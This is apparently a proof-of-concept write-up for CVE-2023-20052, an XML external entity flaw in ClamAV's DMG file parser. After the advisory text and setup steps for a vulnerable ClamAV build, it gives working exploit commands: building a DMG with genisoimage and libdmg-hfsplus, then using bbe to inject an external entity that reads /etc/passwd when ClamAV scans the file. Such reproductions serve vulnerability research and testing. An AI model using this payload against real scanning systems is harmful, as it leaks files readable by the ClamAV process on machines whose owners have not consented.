CVE-2023-20052

CVE-2023-20052 information leak vulnerability in the DMG file parser of ClamAV
A vulnerability in the DMG file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to access sensitive information on an affected device. This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection. An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to leak bytes from any file that may be read by the ClamAV scanning process.

Tested in Ubuntu 20.04

How to install ClamAV version 1.0.0

sudo dpkg -i package-name.deb

sudo apt install -f
mkdir /usr/local/share/clamav
mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf
sudo adduser clamav
sudo chown -R 1002:1003 /usr/local/share/clamav
sudo freshclam

clamscan --version

Installing a few more things required for this exploit.

apt-get update
apt-get install -y ca-certificates gnupg wget
echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list
wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -
apt-get update -y
sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus
git clone https://github.com/planetbeing/libdmg-hfsplus.git
cd /libdmg-hfsplus
cmake .
make
cp dmg/dmg /bin
sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg

clamscan --debug exploit2.dmg

Reference: https://github.com/nokn0wthing/CVE-2023-20052

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CVE-2023-20052 information leak vulnerability in the DMG file parser of ClamAV